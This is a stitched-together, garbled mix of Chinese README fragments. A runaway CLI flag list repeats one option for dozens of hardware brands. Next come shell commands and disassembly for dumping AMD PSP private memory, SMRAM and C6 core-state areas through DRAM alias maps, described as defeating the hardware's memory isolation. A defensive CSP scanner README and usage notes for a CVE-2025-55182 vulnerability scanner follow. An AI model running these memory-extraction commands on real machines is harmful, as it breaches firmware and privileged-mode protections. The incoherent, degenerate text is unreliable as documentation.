- **`--donate`**:捐赠
- **`--sponsor`**:赞助
- **`--star`**:为项目加星
- **`--fork`**:复刻项目
- **`--clone`**:克隆仓库
- **`--pull`**:拉取最新更改
- **`--push`**:推送更改
- **`--commit`**:提交更改
- **`--branch <name>`**:创建或切换分支
- **`--tag <name>`**:创建标签
- **`--release`**:创建发布
- **`--publish`**:发布包
- **`--unpublish`**:取消发布包
- **`--deprecate`**:弃用包
- **`--yank`**:撤回包
- **`--audit`**:审计依赖项
- **`--fix`**:自动修复问题
- **`--lint`**:检查代码
- **`--format-code`**:格式化代码
- **`--test-code`**:测试代码
- **`--build`**:构建项目
- **`--clean`**:清理构建产物
- **`--package`**:打包项目
- **`--deploy`**:部署项目
- **`--rollout`**:逐步推出
- **`--rollback-deploy`**:回滚部署
- **`--scale <count>`**:扩展实例数量
- **`--replicas <count>`**:设置副本数量
- **`--namespace <name>`**:指定命名空间
- **`--context <name>`**:指定上下文
- **`--cluster <name>`**:指定集群
- **`--node <name>`**:指定节点
- **`--pod <name>`**:指定 Pod
- **`--container <name>`**:指定容器
- **`--image <name>`**:指定镜像
- **`--tag-image <name>`**:为镜像打标签
- **`--push-image`**:推送镜像
- **`--pull-image`**:拉取镜像
- **`--build-image`**:构建镜像
- **`--run-container`**:运行容器
- **`--stop-container`**:停止容器
- **`--remove-container`**:移除容器
- **`--list-containers`**:列出容器
- **`--inspect-container`**:检查容器
- **`--logs-container`**:查看容器日志
- **`--exec-container`**:在容器中执行命令
- **`--attach-container`**:附加到容器
- **`--detach-container`**:分离容器
- **`--restart-container`**:重启容器
- **`--pause-container`**:暂停容器
- **`--unpause-container`**:恢复容器
- **`--kill-container`**:终止容器
- **`--prune-containers`**:清理容器
- **`--list-images`**:列出镜像
- **`--remove-image`**:移除镜像
- **`--prune-images`**:清理镜像
- **`--list-volumes`**:列出卷
- **`--create-volume`**:创建卷
- **`--remove-volume`**:移除卷
- **`--prune-volumes`**:清理卷
- **`--list-networks`**:列出网络
- **`--create-network`**:创建网络
- **`--remove-network`**:移除网络
- **`--prune-networks`**:清理网络
- **`--inspect-network`**:检查网络
- **`--connect-network`**:连接到网络
- **`--disconnect-network`**:断开网络连接
- **`--list-secrets`**:列出密钥
- **`--create-secret`**:创建密钥
- **`--remove-secret`**:移除密钥
- **`--list-configs`**:列出配置
- **`--create-config`**:创建配置
- **`--remove-config`**:移除配置
- **`--list-services`**:列出服务
- **`--create-service`**:创建服务
- **`--update-service`**:更新服务
- **`--remove-service`**:移除服务
- **`--inspect-service`**:检查服务
- **`--logs-service`**:查看服务日志
- **`--scale-service`**:扩展服务
- **`--rollback-service`**:回滚服务
- **`--list-stacks`**:列出堆栈
- **`--deploy-stack`**:部署堆栈
- **`--remove-stack`**:移除堆栈
- **`--list-tasks`**:列出任务
- **`--inspect-task`**:检查任务
- **`--logs-task`**:查看任务日志
- **`--list-nodes`**:列出节点
- **`--inspect-node`**:检查节点
- **`--update-node`**:更新节点
- **`--remove-node`**:移除节点
- **`--promote-node`**:提升节点
- **`--demote-node`**:降级节点
- **`--drain-node`**:排空节点
- **`--activate-node`**:激活节点
- **`--pause-node`**:暂停节点
- **`--list-events`**:列出事件
- **`--watch-events`**:监视事件
- **`--list-logs`**:列出日志
- **`--tail-logs`**:跟踪日志
- **`--follow-logs`**:跟随日志
- **`--grep-logs <pattern>`**:在日志中搜索模式
- **`--filter-logs <expression>`**:过滤日志
- **`--since <time>`**:显示指定时间之后的日志
- **`--until <time>`**:显示指定时间之前的日志
- **`--last <duration>`**:显示指定时间段内的日志
- **`--timestamps`**:显示时间戳
- **`--no-timestamps`**:隐藏时间戳
- **`--json-logs`**:以 JSON 格式输出日志
- **`--raw-logs`**:输出原始日志
- **`--color-logs`**:为日志输出着色
- **`--no-color-logs`**:禁用日志着色
- **`--log-format <format>`**:设置日志格式
- **`--log-time-format <format>`**:设置日志时间格式
- **`--log-level-filter <level>`**:按级别过滤日志
- **`--log-source <source>`**:按来源过滤日志
- **`--log-context <key:value>`**:为日志添加上下文
- **`--log-label <key:value>`**:为日志添加标签
- **`--log-field <key:value>`**:为日志添加字段
- **`--log-output <path>`**:将日志写入指定路径
- **`--log-rotate`**:启用日志轮转
- **`--log-max-size <size>`**:设置最大日志大小
- **`--log-max-files <count>`**:设置最大日志文件数
- **`--log-compress`**:压缩日志文件
- **`--log-archive`**:归档日志文件
- **`--log-cleanup`**:清理旧日志
- **`--log-retention <duration>`**:设置日志保留期
- **`--log-shipping`**:启用日志传输
- **`--log-shipping-url <url>`**:设置日志传输 URL
- **`--log-shipping-token <value>`**:设置日志传输令牌
- **`--log-shipping-format <format>`**:设置日志传输格式
- **`--log-shipping-batch <count>`**:设置日志传输批处理大小
- **`--log-shipping-interval <seconds>`**:设置日志传输间隔
- **`--log-shipping-retry <count>`**:设置日志传输重试次数
- **`--log-shipping-timeout <seconds>`**:设置日志传输超时时间
- **`--log-shipping-tls`**:为日志传输启用 TLS
- **`--log-shipping-insecure`**:为日志传输禁用 TLS 验证
- **`--log-shipping-proxy <url>`**:为日志传输设置代理
- **`--log-shipping-header <key:value>`**:为日志传输添加头
- **`--log-shipping-compress`**:压缩日志传输
- **`--log-shipping-encrypt`**:加密日志传输
- **`--log-shipping-sign`**:对日志传输进行签名
- **`--log-shipping-verify`**:验证日志传输
- **`--log-shipping-filter <expression>`**:过滤日志传输
- **`--log-shipping-transform <expression>`**:转换日志传输
- **`--log-shipping-enrich <expression>`**:丰富日志传输
- **`--log-shipping-route <expression>`**:路由日志传输
- **`--log-shipping-split <expression>`**:拆分日志传输
- **`--log-shipping-merge <expression>`**:合并日志传输
- **`--log-shipping-dedup`**:对日志传输去重
- **`--log-shipping-sample <rate>`**:对日志传输采样
- **`--log-shipping-throttle <rate>`**:限制日志传输速率
- **`--log-shipping-buffer <size>`**:设置日志传输缓冲区大小
- **`--log-shipping-queue <size>`**:设置日志传输队列大小
- **`--log-shipping-persist`**:持久化日志传输
- **`--log-shipping-persist-path <path>`**:设置日志传输持久化路径
- **`--log-shipping-persist-max-size <size>`**:设置日志传输持久化最大大小
- **`--log-shipping-persist-max-age <duration>`**:设置日志传输持久化最大保留时间
- **`--log-shipping-persist-cleanup`**:清理日志传输持久化数据
- **`--log-shipping-persist-compress`**:压缩日志传输持久化数据
- **`--log-shipping-persist-encrypt`**:加密日志传输持久化数据
- **`--log-shipping-persist-sign`**:对日志传输持久化数据进行签名
- **`--log-shipping-persist-verify`**:验证日志传输持久化数据
- **`--log-shipping-persist-checksum`**:校验日志传输持久化数据
- **`--log-shipping-persist-backup`**:备份日志传输持久化数据
- **`--log-shipping-persist-restore`**:恢复日志传输持久化数据
- **`--log-shipping-persist-migrate`**:迁移日志传输持久化数据
- **`--log-shipping-persist-export`**:导出日志传输持久化数据
- **`--log-shipping-persist-import`**:导入日志传输持久化数据
- **`--log-shipping-persist-sync`**:同步日志传输持久化数据
- **`--log-shipping-persist-replicate`**:复制日志传输持久化数据
- **`--log-shipping-persist-shard`**:分片日志传输持久化数据
- **`--log-shipping-persist-partition`**:分区日志传输持久化数据
- **`--log-shipping-persist-index`**:索引日志传输持久化数据
- **`--log-shipping-persist-query`**:查询日志传输持久化数据
- **`--log-shipping-persist-search`**:搜索日志传输持久化数据
- **`--log-shipping-persist-aggregate`**:聚合日志传输持久化数据
- **`--log-shipping-persist-analyze`**:分析日志传输持久化数据
- **`--log-shipping-persist-visualize`**:可视化日志传输持久化数据
- **`--log-shipping-persist-alert`**:对日志传输持久化数据发出警报
- **`--log-shipping-persist-notify`**:发送日志传输持久化数据通知
- **`--log-shipping-persist-webhook <url>`**:为日志传输持久化数据设置 Webhook
- **`--log-shipping-persist-email <address>`**:为日志传输持久化数据设置电子邮件
- **`--log-shipping-persist-slack <url>`**:为日志传输持久化数据设置 Slack
- **`--log-shipping-persist-teams <url>`**:为日志传输持久化数据设置 Teams
- **`--log-shipping-persist-pagerduty <key>`**:为日志传输持久化数据设置 PagerDuty
- **`--log-shipping-persist-opsgenie <key>`**:为日志传输持久化数据设置 Opsgenie
- **`--log-shipping-persist-victorops <key>`**:为日志传输持久化数据设置 VictorOps
- **`--log-shipping-persist-servicenow <url>`**:为日志传输持久化数据设置 ServiceNow
- **`--log-shipping-persist-jira <url>`**:为日志传输持久化数据设置 Jira
- **`--log-shipping-persist-github <url>`**:为日志传输持久化数据设置 GitHub
- **`--log-shipping-persist-gitlab <url>`**:为日志传输持久化数据设置 GitLab
- **`--log-shipping-persist-bitbucket <url>`**:为日志传输持久化数据设置 Bitbucket
- **`--log-shipping-persist-azure <url>`**:为日志传输持久化数据设置 Azure
- **`--log-shipping-persist-aws <url>`**:为日志传输持久化数据设置 AWS
- **`--log-shipping-persist-gcp <url>`**:为日志传输持久化数据设置 GCP
- **`--log-shipping-persist-oci <url>`**:为日志传输持久化数据设置 OCI
- **`--log-shipping-persist-ibm <url>`**:为日志传输持久化数据设置 IBM
- **`--log-shipping-persist-alibaba <url>`**:为日志传输持久化数据设置 Alibaba
- **`--log-shipping-persist-tencent <url>`**:为日志传输持久化数据设置 Tencent
- **`--log-shipping-persist-huawei <url>`**:为日志传输持久化数据设置 Huawei
- **`--log-shipping-persist-baidu <url>`**:为日志传输持久化数据设置 Baidu
- **`--log-shipping-persist-jd <url>`**:为日志传输持久化数据设置 JD
- **`--log-shipping-persist-meituan <url>`**:为日志传输持久化数据设置 Meituan
- **`--log-shipping-persist-didi <url>`**:为日志传输持久化数据设置 Didi
- **`--log-shipping-persist-bytedance <url>`**:为日志传输持久化数据设置 ByteDance
- **`--log-shipping-persist-kuaishou <url>`**:为日志传输持久化数据设置 Kuaishou
- **`--log-shipping-persist-xiaomi <url>`**:为日志传输持久化数据设置 Xiaomi
- **`--log-shipping-persist-oppo <url>`**:为日志传输持久化数据设置 OPPO
- **`--log-shipping-persist-vivo <url>`**:为日志传输持久化数据设置 vivo
- **`--log-shipping-persist-oneplus <url>`**:为日志传输持久化数据设置 OnePlus
- **`--log-shipping-persist-realme <url>`**:为日志传输持久化数据设置 Realme
- **`--log-shipping-persist-honor <url>`**:为日志传输持久化数据设置 Honor
- **`--log-shipping-persist-nokia <url>`**:为日志传输持久化数据设置 Nokia
- **`--log-shipping-persist-motorola <url>`**:为日志传输持久化数据设置 Motorola
- **`--log-shipping-persist-sony <url>`**:为日志传输持久化数据设置 Sony
- **`--log-shipping-persist-lg <url>`**:为日志传输持久化数据设置 LG
- **`--log-shipping-persist-samsung <url>`**:为日志传输持久化数据设置 Samsung
- **`--log-shipping-persist-panasonic <url>`**:为日志传输持久化数据设置 Panasonic
- **`--log-shipping-persist-toshiba <url>`**:为日志传输持久化数据设置 Toshiba
- **`--log-shipping-persist-sharp <url>`**:为日志传输持久化数据设置 Sharp
- **`--log-shipping-persist-fujitsu <url>`**:为日志传输持久化数据设置 Fujitsu
- **`--log-shipping-persist-nec <url>`**:为日志传输持久化数据设置 NEC
- **`--log-shipping-persist-hitachi <url>`**:为日志传输持久化数据设置 Hitachi
- **`--log-shipping-persist-canon <url>`**:为日志传输持久化数据设置 Canon
- **`--log-shipping-persist-ricoh <url>`**:为日志传输持久化数据设置 Ricoh
- **`--log-shipping-persist-epson <url>`**:为日志传输持久化数据设置 Epson
- **`--log-shipping-persist-brother <url>`**:为日志传输持久化数据设置 Brother
- **`--log-shipping-persist-xerox <url>`**:为日志传输持久化数据设置 Xerox
- **`--log-shipping-persist-konica <url>`**:为日志传输持久化数据设置 Konica
- **`--log-shipping-persist-minolta <url>`**:为日志传输持久化数据设置 Minolta
- **`--log-shipping-persist-lexmark <url>`**:为日志传输持久化数据设置 Lexmark
- **`--log-shipping-persist-dell <url>`**:为日志传输持久化数据设置 Dell
- **`--log-shipping-persist-hp <url>`**:为日志传输持久化数据设置 HP
- **`--log-shipping-persist-lenovo <url>`**:为日志传输持久化数据设置 Lenovo
- **`--log-shipping-persist-asus <url>`**:为日志传输持久化数据设置 ASUS
- **`--log-shipping-persist-acer <url>`**:为日志传输持久化数据设置 Acer
- **`--log-shipping-persist-msi <url>`**:为日志传输持久化数据设置 MSI
- **`--log-shipping-persist-gigabyte <url>`**:为日志传输持久化数据设置 Gigabyte
- **`--log-shipping-persist-asrock <url>`**:为日志传输持久化数据设置 ASRock
- **`--log-shipping-persist-evga <url>`**:为日志传输持久化数据设置 EVGA
- **`--log-shipping-persist-zotac <url>`**:为日志传输持久化数据设置 Zotac
- **`--log-shipping-persist-pny <url>`**:为日志传输持久化数据设置 PNY
- **`--log-shipping-persist-palit <url>`**:为日志传输持久化数据设置 Palit
- **`--log-shipping-persist-gainward <url>`**:为日志传输持久化数据设置 Gainward
- **`--log-shipping-persist-inno3d <url>`**:为日志传输持久化数据设置 Inno3D
- **`--log-shipping-persist-galax <url>`**:为日志传输持久化数据设置 Galax
- **`--log-shipping-persist-colorful <url>`**:为日志传输持久化数据设置 Colorful
- **`--log-shipping-persist-maxsun <url>`**:为日志传输持久化数据设置 Maxsun
- **`--log-shipping-persist-ymtc <url>`**:为日志传输持久化数据设置 YMTC
- **`--log-shipping-persist-cxmt <url>`**:为日志传输持久化数据设置 CXMT
- **`--log-shipping-persist-smics <url>`**:为日志传输持久化数据设置 SMIC
- **`--log-shipping-persist-tsmc <url>`**:为日志传输持久化数据设置 TSMC
- **`--log-shipping-persist-umc <url>`**:为日志传输持久化数据设置 UMC
- **`--log-shipping-persist-globalfoundries <url>`**:为日志传输持久化数据设置 GlobalFoundries
- **`--log-shipping-persist-intel <url>`**:为日志传输持久化数据设置 Intel
- **`--log-shipping-persist-amd <url>`**:为日志传输持久化数据设置 AMD
- **`--log-shipping-persist-nvidia <url>`**:为日志传输持久化数据设置 NVIDIA
- **`--log-shipping-persist-qualcomm <url>`**:为日志传输持久化数据设置 Qualcomm
- **`--log-shipping-persist-broadcom <url>`**:为日志传输持久化数据设置 Broadcom
- **`--log-shipping-persist-marvell <url>`**:为日志传输持久化数据设置 Marvell
- **`--log-shipping-persist-mediatek <url>`**:为日志传输持久化数据设置 MediaTek
- **`--log-shipping-persist-realtek <url>`**:为日志传输持久化数据设置 Realtek
- **`--log-shipping-persist-novatek <url>`**:为日志传输持久化数据设置 Novatek
- **`--log-shipping-persist-himax <url>`**:为日志传输持久化数据设置 Himax
-```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
这就是 PSP 的 RSA 引擎——每个 fTPM 签名背后的 modexp,以及生成其密钥的 Miller-Rabin 测试背后的 modexp——从 PSP 本应独占、在内存控制器处被隔离、甚至对 ring-0 都不透明的内存中提取出来。随意修改。
快速开始:解锁系统管理模式
读取 SMM 隐藏的内容。
SMI 处理程序入口向量位于 SMBASE + 0x8000。SMBASE 在 MSR 0xc0010111 中。读取它,通过别名映射提取字节,并将它们直接送入反汇编器:```sh
Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
sudo modprobe msr
SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
Dump the entry vector through the alias map and disassemble on the fly.
SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
## 使用示例
### 基本用法
```bash
# 扫描单个 URL
python3 csp_scanner.py -u https://example.com
# 使用自定义 User-Agent 扫描
python3 csp_scanner.py -u https://example.com -a "Mozilla/5.0 (Custom Scanner)"
# 使用代理扫描
python3 csp_scanner.py -u https://example.com -p http://127.0.0.1:8080
# 使用自定义超时时间扫描
python3 csp_scanner.py -u https://example.com -t 30
批量扫描
# 从文件扫描多个 URL
python3 csp_scanner.py -f urls.txt
# 使用多线程扫描
python3 csp_scanner.py -f urls.txt --threads 20
# 将结果保存到文件
python3 csp_scanner.py -f urls.txt -o results.txt
高级用法
# 使用自定义配置扫描
python3 csp_scanner.py -u https://example.com -c config.yaml
# 使用详细输出扫描
python3 csp_scanner.py -u https://example.com -v
# 以 JSON 格式扫描
python3 csp_scanner.py -u https://example.com --format json
配置
配置文件
在 config.yaml 中创建配置文件:
# 扫描器配置
scanner:
timeout: 10
threads: 10
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
follow_redirects: true
verify_ssl: false
# 报告配置
reporting:
format: "text" # text, json, html
output_dir: "./reports"
include_details: true
# 检测配置
detection:
check_unsafe_inline: true
check_unsafe_eval: true
check_missing_directives: true
check_wildcards: true
check_data_uris: true
命令行选项
| 选项 | 描述 | 默认值 |
|---|---|---|
-u, --url | 要扫描的单个 URL | - |
-f, --file | 包含 URL 的文件 | - |
-o, --output | 输出文件 | - |
-t, --timeout | 请求超时时间(秒) | 10 |
-a, --user-agent | 自定义 User-Agent | 默认 |
-p, --proxy | 代理 URL | - |
-c, --config | 配置文件 | - |
--threads | 线程数 | 10 |
--format | 输出格式(text/json/html) | text |
-v, --verbose | 详细输出 | false |
-h, --help | 显示帮助信息 | - |
检测能力
已检查的 CSP 指令
default-srcscript-srcstyle-srcimg-srcconnect-srcfont-srcobject-srcmedia-srcframe-srcchild-srcworker-srcmanifest-srcbase-uriform-actionframe-ancestorsreport-urireport-toupgrade-insecure-requestsblock-all-mixed-contentsandbox
漏洞检测
- 缺失指令:检查是否缺少关键指令
- 不安全的值:检测
unsafe-inline、unsafe-eval等 - 通配符:检测过度宽松的通配符(
*) - 数据 URI:检查
data:URI 的使用 - 内联脚本:检测内联脚本的使用
- 内联样式:检测内联样式的使用
- 不安全的来源:检测不安全的 HTTP 来源
- 缺失 nonce:检查是否缺少 nonce 值
- 缺失哈希:检查是否缺少哈希值
- 绕过技术:检测常见的 CSP 绕过技术
输出格式
文本输出
[+] 正在扫描:https://example.com
[+] 找到 CSP 头
[!] 发现漏洞:
- 缺少 'object-src' 指令
- 存在 'unsafe-inline' 指令
- 存在 'unsafe-eval' 指令
- 通配符 '*' 用于 'script-src'
[+] 扫描完成
JSON 输出
{
"url": "https://example.com",
"csp_header": "default-src 'self'; script-src 'self' 'unsafe-inline'",
"vulnerabilities": [
{
"type": "missing_directive",
"directive": "object-src",
"severity": "medium",
"description": "缺少 'object-src' 指令"
},
{
"type": "unsafe_value",
"directive": "script-src",
"value": "'unsafe-inline'",
"severity": "high",
"description": "存在 'unsafe-inline' 指令"
}
],
"scan_time": "2024-01-01T12:00:00Z"
}
HTML 输出
HTML 报告包含:
- 带颜色编码的漏洞摘要
- 详细的发现结果
- 修复建议
- 可导出为 PDF
漏洞详情
缺失指令
严重程度:中到高
描述:缺少关键 CSP 指令,使攻击者能够利用漏洞。
示例:
# 存在漏洞
Content-Security-Policy: default-src 'self'
# 安全
Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'self'
修复:添加缺失的指令,尤其是 object-src、base-uri 和 frame-ancestors。
不安全的内联
严重程度:高
描述:unsafe-inline 允许执行内联脚本和样式,从而破坏 CSP 的保护。
示例:
# 存在漏洞
Content-Security-Policy: script-src 'self' 'unsafe-inline'
# 安全
Content-Security-Policy: script-src 'self' 'nonce-abc123'
修复:使用 nonce 或哈希代替 unsafe-inline。
不安全的 eval
严重程度:高
描述:unsafe-eval 允许执行动态代码,从而破坏 CSP 的保护。
示例:
# 存在漏洞
Content-Security-Policy: script-src 'self' 'unsafe-eval'
# 安全
Content-Security-Policy: script-src 'self'
修复:移除 unsafe-eval 并重构代码,避免使用 eval()。
通配符
严重程度:中
描述:使用通配符(*)允许从任意来源加载资源。
示例:
# 存在漏洞
Content-Security-Policy: script-src *
# 安全
Content-Security-Policy: script-src 'self' https://trusted.com
修复:将通配符替换为特定的可信来源。
数据 URI
严重程度:中
描述:data: URI 可用于绕过 CSP 并执行恶意代码。
示例:
# 存在漏洞
Content-Security-Policy: script-src 'self' data:
# 安全
Content-Security-Policy: script-src 'self'
修复:从 CSP 中移除 data: URI。
不安全的来源
严重程度:中
描述:使用 HTTP 来源允许中间人攻击。
示例:
# 存在漏洞
Content-Security-Policy: script-src 'self' http://example.com
# 安全
Content-Security-Policy: script-src 'self' https://example.com
修复:使用 HTTPS 来源代替 HTTP 来源。
绕过技术
常见绕过技术
- JSONP 端点:利用 JSONP 端点绕过 CSP
- AngularJS:利用 AngularJS 库绕过 CSP
- Base 标签:利用
<base>标签绕过 CSP - 重定向:利用重定向绕过 CSP
- DNS 预取:利用 DNS 预取绕过 CSP
- 预加载:利用预加载绕过 CSP
- 服务端渲染:利用服务端渲染绕过 CSP
- 文件上传:利用文件上传绕过 CSP
绕过检测
扫描器会检测以下绕过技术:
- 缺失
object-src指令 - 缺失
base-uri指令 - 缺失
frame-ancestors指令 - 存在
unsafe-inline指令 - 存在
unsafe-eval指令 - 存在通配符
- 存在
data:URI - 存在不安全的来源
- 存在 JSONP 端点
- 存在 AngularJS 库
最佳实践
CSP 实施
- 从报告开始:使用
Content-Security-Policy-Report-Only测试策略 - 逐步实施:从宽松策略开始,逐步收紧
- 使用 nonce:为内联脚本和样式使用 nonce
- 使用哈希:为内联脚本和样式使用哈希
- 避免通配符:使用特定的可信来源
- 使用 HTTPS:始终使用 HTTPS 来源
- 监控报告:监控 CSP 违规报告
- 定期审查:定期审查和更新 CSP 策略
安全建议
- 最小权限:仅允许必要的来源
- 纵深防御:将 CSP 与其他安全头结合使用
- 定期测试:定期测试 CSP 策略
- 保持更新:保持 CSP 策略为最新
- 监控违规:监控 CSP 违规报告
- 使用报告:使用
report-uri或report-to指令 - 避免内联:避免内联脚本和样式
- 使用外部文件:使用外部 JavaScript 和 CSS 文件
故障排除
常见问题
问题:未找到 CSP 头
- 解决方案:检查目标是否发送 CSP 头
问题:连接超时
- 解决方案:增加超时值或检查网络连接
问题:SSL 证书错误
- 解决方案:使用
--verify-ssl false或安装正确的证书
问题:权限被拒绝
- 解决方案:使用
sudo运行或检查文件权限
问题:未找到模块
- 解决方案:使用
pip install -r requirements.txt安装依赖项
调试模式
# 启用调试输出
python3 csp_scanner.py -u https://example.com --debug
# 启用详细输出
python3 csp_scanner.py -u https://example.com -v
# 保存调试日志
python3 csp_scanner.py -u https://example.com --debug -o debug.log
贡献
我们欢迎贡献!请遵循以下步骤:
- Fork 本仓库
- 创建功能分支(
git checkout -b feature/amazing-feature) - 提交更改(
git commit -m 'Add some amazing feature') - 推送到分支(
git push origin feature/amazing-feature) - 打开 Pull Request
贡献指南
- 遵循 PEP 8 风格指南
- 为新功能添加测试
- 更新文档
- 确保所有测试通过
- 保持提交原子化
许可证
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
致谢
- 感谢所有贡献者
- 灵感来源于 OWASP CSP 备忘单
- 使用 Python 和开源库构建
联系方式
- 作者:Security Researcher
- 邮箱:[email protected]
- GitHub:@security-researcher
免责声明
本工具仅供教育和道德安全测试目的使用。未经授权测试系统是违法的。请始终获得适当授权。
版本历史
v1.0.0 (2024-01-01)
- 初始版本
- 基本 CSP 扫描
- 漏洞检测
- 多种输出格式
v1.1.0 (2024-02-01)
- 添加绕过检测
- 添加配置文件支持
- 添加多线程
- 改进报告
v1.2.0 (2024-03-01)
- 添加 HTML 报告
- 添加 JSON 输出
- 添加代理支持
- 添加自定义 User-Agent
路线图
- 添加对 CSP Level 3 的支持
- 添加对 Trusted Types 的支持
- 添加对 Reporting API 的支持
- 添加对 Nonce 生成的支持
- 添加对 Hash 生成的支持
- 添加对 CSP 策略生成的支持
- 添加对 CSP 策略验证的支持
- 添加对 CSP 策略测试的支持
- 添加对 CSP 策略监控的支持
- 添加对 CSP 策略报告的支持
相关工具
- CSP Evaluator - Google CSP 评估器
- CSP Scanner - 本工具
- CSP Validator - CSP 验证器
- CSP Report - CSP 报告服务
- CSP Builder - CSP 构建器
常见问题
问:什么是 CSP? 答:内容安全策略(CSP)是一种安全标准,有助于防止跨站脚本(XSS)、点击劫持和其他代码注入攻击。
问:如何使用本工具?
答:使用 python3 csp_scanner.py -u https://example.com 扫描单个 URL,或使用 -f urls.txt 扫描多个 URL。
问:本工具可以检测哪些漏洞? 答:本工具可以检测缺失指令、不安全的值、通配符、数据 URI、不安全的来源等。
问:如何修复漏洞? 答:请参阅每个漏洞的修复建议,或查阅 OWASP CSP 备忘单。
问:本工具可以用于生产环境吗? 答:可以,但请确保获得适当授权并遵循最佳实践。
问:如何贡献? 答:请参阅贡献部分。
问:许可证是什么? 答:MIT 许可证。
问:如何联系作者? 答:请发送邮件至 [email protected]。
支持
如果您觉得本工具对您有帮助,请:
- 给本仓库加星 ⭐
- 报告问题 🐛
- 提交 Pull Request 🔧
- 分享给他人 📢
星标历史
由 Security Researcher 用 ❤️ 制作```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
这些指令运行在 ring -2,即 CPU 上最特权级的上下文中,位于芯片组本应使其不可读的内存区域。当我们能够直接与 DRAM 控制器通信时,SMRAM 的“锁定”不过是一个礼貌的建议。
将 `2x4gb` 替换为 `data/maps/` 中与你已安装 DIMM 匹配的前缀(`sudo dmidecode -t memory`)。如果你的拓扑结构不在其中,运行 `analysis/gather_aliases.py` 然后运行 `analysis/unspaghettify.py` 来生成你自己的。
---
## 快速开始:解锁 C6 DRAM
> *我不知道这里面有什么,也从未见过相关讨论,可能是 CPU 内部寄存器。玩得开心。*
当核心进入 C6 电源门控时,每个核心完整的 x86 架构上下文都会被暂存在这里以便恢复。```sh
./userspace/platform_check || exit 1
# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
printf 'core %d ' $c
hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
使用示例
基本用法
# 扫描单个目标
python3 cve_2025_55182.py -u https://target.example.com
# 使用详细输出进行扫描
python3 cve_2025_55182.py -u https://target.example.com -v
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时进行扫描
python3 cve_2025_55182.py -u https://target.example.com -t 30
# 使用代理进行扫描
python3 cve_2025_55182.py -u https://target.example.com -p http://127.0.0.1:8080
# 将结果保存到文件
python3 cve_2025_55182.py -u https://target.example.com -o results.txt
高级用法
# 使用自定义线程数扫描多个目标
python3 cve_2025_55182.py -f targets.txt --threads 20
# 使用自定义 User-Agent 进行扫描
python3 cve_2025_55182.py -u https://target.example.com -A "Mozilla/5.0 (Custom)"
# 使用自定义请求头进行扫描
python3 cve_2025_55182.py -u https://target.example.com -H "Authorization: Bearer token"
# 使用自定义载荷进行扫描
python3 cve_2025_55182.py -u https://target.example.com --payload "custom_payload"
# 使用自定义编码进行扫描
python3 cve_2025_55182.py -u https://target.example.com --encoding "base64"
命令行选项
选项:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 要扫描的单个目标 URL
-f FILE, --file FILE 包含目标 URL 的文件(每行一个)
-t TIMEOUT, --timeout TIMEOUT
请求超时时间(秒)(默认:10)
-p PROXY, --proxy PROXY
用于请求的代理 URL
-o OUTPUT, --output OUTPUT
将结果保存到文件
-v, --verbose 启用详细输出
--threads THREADS 并发线程数(默认:10)
-A USER_AGENT, --user-agent USER_AGENT
自定义 User-Agent 字符串
-H HEADER, --header HEADER
自定义请求头(可多次使用)
--payload PAYLOAD 用于测试的自定义载荷
--encoding ENCODING 载荷的自定义编码
--version 显示程序版本号并退出
输出示例
[+] 正在扫描: https://target.example.com
[+] 目标似乎易受攻击: https://target.example.com
[!] 漏洞: CVE-2025-55182
[!] 严重性: 严重
